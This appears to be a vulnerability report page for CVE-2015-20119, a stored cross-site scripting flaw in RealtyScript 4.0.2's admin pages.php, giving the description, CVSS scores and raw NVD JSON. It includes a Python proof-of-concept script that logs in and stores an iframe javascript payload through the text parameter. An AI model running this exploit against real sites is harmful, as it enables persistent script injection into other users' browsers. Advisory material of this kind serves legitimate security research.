Security Vulnerability Report
中文
CVE-2015-20119 CVSS 6.4 MEDIUM

CVE-2015-20119

Published: 2026-03-16 14:17:48
Last Modified: 2026-03-19 14:15:43

Description

Next Click Ventures RealtyScript 4.0.2 contains a stored cross-site scripting vulnerability that allows authenticated attackers to inject malicious HTML and iframe elements through the text parameter in the pages.php admin interface. Attackers can submit POST requests to the add page action with crafted iframe payloads in the text parameter to store malicious content that executes in the browsers of users viewing the affected pages.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nextclickventures:realtyscript:4.0.2:*:*:*:*:*:*:* - VULNERABLE
RealtyScript 4.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2015-20119 PoC - RealtyScript Stored XSS via text parameter # Target: RealtyScript 4.0.2 pages.php # Type: Stored XSS import requests import sys def exploit_stored_xss(target_url, username, password): """ Exploit stored XSS vulnerability in RealtyScript pages.php by injecting malicious iframe into the text parameter. """ # Login to get authenticated session login_url = target_url + '/admin/login.php' login_data = { 'username': username, 'password': password } session = requests.Session() login_response = session.post(login_url, data=login_data) if 'admin' not in login_response.url.lower(): print('[-] Login failed') return False print('[+] Login successful') # Inject malicious iframe via text parameter add_page_url = target_url + '/admin/pages.php' # Malicious payload - iframe injection payload = '''<iframe src="javascript:alert('XSS by CVE-2015-20119')" width="0" height="0"></iframe>''' page_data = { 'action': 'add', 'title': 'Malicious Page', 'text': payload, 'submit': 'Save' } response = session.post(add_page_url, data=page_data) if response.status_code == 200: print('[+] Malicious iframe payload injected successfully') print('[+] Payload will execute when page is viewed') return True else: print('[-] Injection failed') return False if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') print('Example: python exploit.py http://target.com admin password') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_stored_xss(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2015-20119", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:17:47.680", "lastModified": "2026-03-19T14:15:43.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Next Click Ventures RealtyScript 4.0.2 contains a stored cross-site scripting vulnerability that allows authenticated attackers to inject malicious HTML and iframe elements through the text parameter in the pages.php admin interface. Attackers can submit POST requests to the add page action with crafted iframe payloads in the text parameter to store malicious content that executes in the browsers of users viewing the affected pages."}, {"lang": "es", "value": "Next Click Ventures RealtyScript 4.0.2 contiene una vulnerabilidad de cross-site scripting almacenada que permite a atacantes autenticados inyectar elementos HTML e iframe maliciosos a través del parámetro text en la interfaz de administración de pages.PHP. Los atacantes pueden enviar solicitudes POST a la acción add page con cargas útiles de iframe manipuladas en el parámetro text para almacenar contenido malicioso que se ejecuta en los navegadores de los usuarios que visualizan las páginas afectadas."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nextclickventures:realtyscript:4.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "237FBCF4-383B-4460-82EF-FC61A749D53B"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/38496", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/realtyscript-stored-cross-site-scripting-via-text-parameter-in-pages-php", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5269.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}